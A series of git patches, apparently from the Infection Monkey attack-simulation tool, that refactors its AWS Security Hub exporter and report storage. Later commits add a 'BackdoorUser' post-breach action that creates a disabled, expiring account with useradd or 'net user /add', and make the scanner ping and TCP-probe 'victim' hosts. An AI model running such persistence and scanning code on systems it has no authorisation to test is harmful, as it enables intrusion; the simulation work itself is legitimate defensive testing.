- finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_rdp_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", - "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {shared_with}.".format( - shared_with=issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password.", + description="Some domain users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {shared_with}.".format( + shared_with=issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_admins_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", - "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", - "Remediation": { - "Recommendation": { - "Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( - username=issue['username'], shared_machines=issue['shared_machines']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Shared local administrator account - Different machines have the same account as a local administrator.", + description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( + username=issue['username'], shared_machines=issue['shared_machines']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_strong_users_on_crit_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", - "Description": "This critical machine is open to attacks via strong users with access to it.", - "Remediation": { - "Recommendation": { - "Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", + description="This critical machine is open to attacks via strong users with access to it.", + recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_struts2_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", - "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { - "Recommendation": { - "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Struts2 servers are vulnerable to remote code execution.", + description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", + recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_weblogic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", - "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", - "Remediation": { - "Recommendation": { - "Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Oracle WebLogic servers are vulnerable to remote code execution.", + description="Install Oracle critical patch updates. Or update to the latest version. " \ + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", + recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_hadoop_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", - "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { - "Recommendation": { - "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to default Hadoop/Yarn configuration being insecure." - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Hadoop/Yarn servers are vulnerable to remote code execution.", + description="Run Hadoop in secure mode, add Kerberos authentication.", + recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8f72e1b17..8861e8d85 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,7 +8,7 @@ from enum import Enum from six import text_type from cc.database import mongo -from cc.resources.aws_exporter import AWSExporter +from cc.report_exporter_manager import ReportExporterManager from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -723,7 +723,7 @@ class ReportService: 'latest_monkey_modifytime': monkey_latest_modify_time } } - ReportService.export_to_exporters(report) + ReportExporterManager().export(report) mongo.db.report.drop() mongo.db.report.insert_one(report) @@ -755,8 +755,3 @@ class ReportService: return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 - - @staticmethod - def export_to_exporters(report): - for exporter in ReportService.get_active_exporters(): - exporter.handle_report(report) diff --git a/monkey/monkey_island/report_exporter_manager.py b/monkey/monkey_island/report_exporter_manager.py deleted file mode 100644 index 7e9afc8a9..000000000 --- a/monkey/monkey_island/report_exporter_manager.py +++ /dev/null @@ -1,40 +0,0 @@ -from cc.environment.environment import load_env_from_file, AWS -from cc.resources.aws_exporter import AWSExporter -import logging - -logger = logging.getLogger(__name__) - - -class Borg: - _shared_state = {} - - def __init__(self): - self.__dict__ = self._shared_state - - -class ReportExporterManager(Borg): - def __init__(self): - Borg.__init__(self) - self._exporters_list = [] - self._init_exporters() - - def get_exporters_list(self): - return self._exporters_list - - def _init_exporters(self): - self._init_aws_exporter() - - def _init_aws_exporter(self): - if str(load_env_from_file()) == AWS: - self._exporters_list.append(AWSExporter) - - def export(self): - try: - for exporter in self._exporters_list: - exporter().handle_report() - except Exception as e: - logger.exception('Failed to export report') - -if __name__ == '__main__': - print ReportExporterManager().get_exporters_list() - print ReportExporterManager().get_exporters_list() From 4b06c1e3f4a2671f258d3032b0f965ee1703ad45 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 31 Dec 2018 14:58:14 +0200 Subject: [PATCH 081/201] - added 'author' to each file. --- monkey/monkey_island/cc/exporter_init.py | 1 + monkey/monkey_island/cc/report_exporter_manager.py | 2 ++ monkey/monkey_island/cc/resources/aws_exporter.py | 3 +++ 3 files changed, 6 insertions(+) diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py index c2285772e..0fc32fccb 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/exporter_init.py @@ -2,6 +2,7 @@ from cc.environment.environment import load_env_from_file, AWS from cc.report_exporter_manager import ReportExporterManager from cc.resources.aws_exporter import AWSExporter +__author__ = 'maor.rayzin' def populate_exporter_list(): diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py index 210f28966..a6a983a20 100644 --- a/monkey/monkey_island/cc/report_exporter_manager.py +++ b/monkey/monkey_island/cc/report_exporter_manager.py @@ -1,5 +1,7 @@ import logging +__author__ = 'maor.rayzin' + logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 8890342dd..0c1d51d1a 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -9,6 +9,9 @@ from cc.services.config import ConfigService from cc.environment.environment import load_server_configuration_from_file from common.cloud.aws import AWS +__author__ = 'maor.rayzin' + + logger = logging.getLogger(__name__) AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], From d3a42792fb0605049c9d987cb2a7b6828fe45a0d Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:41:56 +0200 Subject: [PATCH 082/201] Remove dead line of code in config.py --- monkey/infection_monkey/config.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..74a98feb1 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,8 +7,6 @@ from abc import ABCMeta from itertools import product import importlib -importlib.import_module('infection_monkey', 'network') - __author__ = 'itamar' GUID = str(uuid.getnode()) From 985f45d8de668e6f470643b652a46da7ad0a19e8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 2 Jan 2019 14:26:36 +0200 Subject: [PATCH 083/201] - Added exporters list population - some pep8 - Added a report json cleanup for mongo insertion, sometimes machine names are used as keys and these names might contain '.' which mongodb doesn't allow. - Fixed a typo and aws sec hub protocol requirements --- monkey/monkey_island/cc/exporter_init.py | 1 + monkey/monkey_island/cc/main.py | 4 +-- .../cc/resources/aws_exporter.py | 4 +-- .../cc/services/config_schema.py | 28 +++++++++++++++++-- monkey/monkey_island/cc/services/report.py | 16 ++++++++++- 5 files changed, 46 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py index 0fc32fccb..9b25469f9 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/exporter_init.py @@ -4,6 +4,7 @@ from cc.resources.aws_exporter import AWSExporter __author__ = 'maor.rayzin' + def populate_exporter_list(): manager = ReportExporterManager() diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index a6ded6628..713e83b96 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def logger = logging.getLogger(__name__) from cc.app import init_app +from cc.exporter_init import populate_exporter_list from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up @@ -34,8 +35,7 @@ def main(): logger.info('Waiting for MongoDB server') time.sleep(1) - - + populate_exporter_list() app = init_app(mongo_url) if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 0c1d51d1a..bd6ef3a10 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -131,7 +131,7 @@ class AWSExporter(Exporter): "Id": instance_arn.format(instance_id=instance_id) }] else: - return [{'Type': 'Other'}] + return [{'Type': 'Other', 'Id': 'None'}] @staticmethod def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): @@ -140,7 +140,7 @@ class AWSExporter(Exporter): "Product": severity, "Normalized": 100 }, - 'Resource': AWSExporter._get_finding_resource(instance_id, instance_arn), + 'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn), "Title": title, "Description": description, "Remediation": { diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..bb5b10cbb 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -1,6 +1,5 @@ WARNING_SIGN = u" \u26A0" - SCHEMA = { "title": "Monkey", "type": "object", @@ -624,6 +623,31 @@ SCHEMA = { "description": "The current command server the monkey is communicating with" } } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'aws_account_id': { + 'title': 'AWS account ID', + 'type': 'string', + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': '' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': '' + } + } } } }, @@ -852,4 +876,4 @@ SCHEMA = { "options": { "collapsed": True } -} \ No newline at end of file +} diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8861e8d85..a9edbaf48 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -3,6 +3,8 @@ import functools import ipaddress import logging + +from bson import json_util from enum import Enum from six import text_type @@ -725,10 +727,22 @@ class ReportService: } ReportExporterManager().export(report) mongo.db.report.drop() - mongo.db.report.insert_one(report) + mongo.db.report.insert_one(ReportService.clean_report_before_mongo_insert(report)) return report + @staticmethod + def clean_report_before_mongo_insert(report_dict): + """ + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode + \u002E char instead. + :return: + """ + report_as_json = json_util.dumps(report_dict) + report_as_json.replace('.', '\u002E') + return json_util.loads(report_as_json) + + @staticmethod def is_latest_report_exists(): """ From 078470e2575cff48f642d255d2dab3fb0cd7e9cb Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 2 Jan 2019 16:25:26 +0200 Subject: [PATCH 084/201] - added char conversion for mongo insertion, mongodb doesn't allow for '.' in keys names and sometimes machine names might include '.' char in them. We encode with ',,,' and decode back to '.'. --- monkey/monkey_island/cc/services/report.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index a9edbaf48..46a4ee448 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -727,19 +727,18 @@ class ReportService: } ReportExporterManager().export(report) mongo.db.report.drop() - mongo.db.report.insert_one(ReportService.clean_report_before_mongo_insert(report)) + mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report)) return report @staticmethod - def clean_report_before_mongo_insert(report_dict): + def encode_dot_char_before_mongo_insert(report_dict): """ mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode - \u002E char instead. - :return: + ,,, combo instead. + :return: dict with formatted keys with no dots. """ - report_as_json = json_util.dumps(report_dict) - report_as_json.replace('.', '\u002E') + report_as_json = json_util.dumps(report_dict).replace('.', ',,,') return json_util.loads(report_as_json) @@ -758,10 +757,19 @@ class ReportService: return False + @staticmethod + def decode_dot_char_before_mongo_insert(report_dict): + """ + this function replaces the ',,,' combo with the '.' char instead. + :return: report dict with formatted keys (',,,' -> '.') + """ + report_as_json = json_util.dumps(report_dict).replace(',,,', '.') + return json_util.loads(report_as_json) + @staticmethod def get_report(): if ReportService.is_latest_report_exists(): - return mongo.db.report.find_one() + return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) return ReportService.generate_report() @staticmethod From 077d5365266536685a3fd9d3846465e2167a89cb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:03 +0200 Subject: [PATCH 085/201] Add missing dependency --- monkey/infection_monkey/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 468b748e8..e08cbf4ca 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,4 +14,5 @@ six ecdsa netifaces ipaddress -wmi \ No newline at end of file +wmi +pywin32 \ No newline at end of file From 382b95c75d13f8d3129669cf1784cd9e6cd4d65b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:26:46 +0200 Subject: [PATCH 086/201] Add option for post breach actions to configuration --- monkey/infection_monkey/config.py | 6 +++++ monkey/infection_monkey/example.conf | 3 ++- .../cc/services/config_schema.py | 27 ++++++++++++++++++- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 74a98feb1..6234cd9ff 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -39,6 +40,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,5 +270,7 @@ class Configuration(object): extract_azure_creds = True + post_breach_actions = [] + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..0bdcc0eb2 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -97,5 +97,6 @@ "timeout_between_iterations": 10, "use_file_logging": true, "victims_max_exploit": 7, - "victims_max_find": 30 + "victims_max_find": 30, + "post_breach_actions" : [] } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..0a1ca24d6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -88,6 +88,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -276,7 +289,19 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { From 95a2a0e4284cf2a7c94771e43a4e2781ea4cfc63 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:26 +0200 Subject: [PATCH 087/201] Add backdoor user functionality to Monkey itself. The backdoor user is purposefully disabled --- .../infection_monkey/post_breach/__init__.py | 4 ++ .../infection_monkey/post_breach/add_user.py | 49 +++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 monkey/infection_monkey/post_breach/__init__.py create mode 100644 monkey/infection_monkey/post_breach/add_user.py diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py new file mode 100644 index 000000000..3faa2233e --- /dev/null +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -0,0 +1,4 @@ +__author__ = 'danielg' + + +from add_user import BackdoorUser \ No newline at end of file diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py new file mode 100644 index 000000000..8551382b7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -0,0 +1,49 @@ +import datetime +import logging +import subprocess +import sys +from infection_monkey.config import WormConfiguration + +LOG = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + +__author__ = 'danielg' + + +class BackdoorUser(object): + """ + This module adds a disabled user to the system. + This tests part of the ATT&CK matrix + """ + + def act(self): + LOG.info("Adding a user") + if sys.platform.startswith("win"): + retval = self.add_user_windows() + else: + retval = self.add_user_linux() + if retval != 0: + LOG.warn("Failed to add a user") + else: + LOG.info("Done adding user") + + @staticmethod + def add_user_linux(): + cmd_line = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.ms08_067_remote_user_add] + retval = subprocess.call(cmd_line) + return retval + + @staticmethod + def add_user_windows(): + cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, + WormConfiguration.ms08_067_remote_user_pass, + '/add', '/ACTIVE:NO'] + retval = subprocess.call(cmd_line) + return retval From 7b5604a0de095692b3d24e680bfc60b20c6fe633 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:42 +0200 Subject: [PATCH 088/201] Make post breach actions happen in the monkey --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 30eb57f1c..4d5bdf7dc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -109,6 +109,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") From f4669bf3f5113ac591d9d54f2a8acc92e0309e27 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 12 Sep 2018 19:32:01 +0300 Subject: [PATCH 089/201] Make monkey always try to ping the remote machine. This catches more events for the cross segment analyser --- monkey/infection_monkey/monkey.py | 3 +-- monkey/infection_monkey/network/network_scanner.py | 13 +++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 30eb57f1c..7fe31da40 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -129,8 +129,7 @@ class InfectionMonkey(object): if not self._keep_running or not WormConfiguration.alive: break - machines = self._network.get_victim_machines(WormConfiguration.scanner_class, - max_find=WormConfiguration.victims_max_find, + machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..44ebbf3f2 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -6,7 +6,7 @@ from infection_monkey.config import WormConfiguration from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.model import VictimHost from infection_monkey.network import HostScanner - +from infection_monkey.network import TcpScanner, PingScanner __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -62,7 +62,7 @@ class NetworkScanner(object): return subnets_to_scan - def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): + def get_victim_machines(self, max_find=5, stop_callback=None): """ Finds machines according to the ranges specified in the object :param scan_type: A hostscanner class, will be instanced and used to scan for new machines @@ -70,10 +70,9 @@ class NetworkScanner(object): :param stop_callback: A callback to check at any point if we should stop scanning :return: yields a sequence of VictimHost instances """ - if not scan_type: - return - scanner = scan_type() + TCPscan = TcpScanner() + Pinger = PingScanner() victims_count = 0 for net_range in self._ranges: @@ -94,9 +93,11 @@ class NetworkScanner(object): continue LOG.debug("Scanning %r...", victim) + pingAlive = Pinger.is_host_alive(victim) + tcpAlive = TCPscan.is_host_alive(victim) # if scanner detect machine is up, add it to victims list - if scanner.is_host_alive(victim): + if pingAlive or tcpAlive: LOG.debug("Found potential victim: %r", victim) victims_count += 1 yield victim From d0998fc4f606c0a4e866e32f8b479ddc423b3827 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 12 Sep 2018 19:33:46 +0300 Subject: [PATCH 090/201] Remove scanner class from configuration --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/monkey_island/cc/services/config.py | 2 +- 3 files changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..531b7d6dd 100644 --- 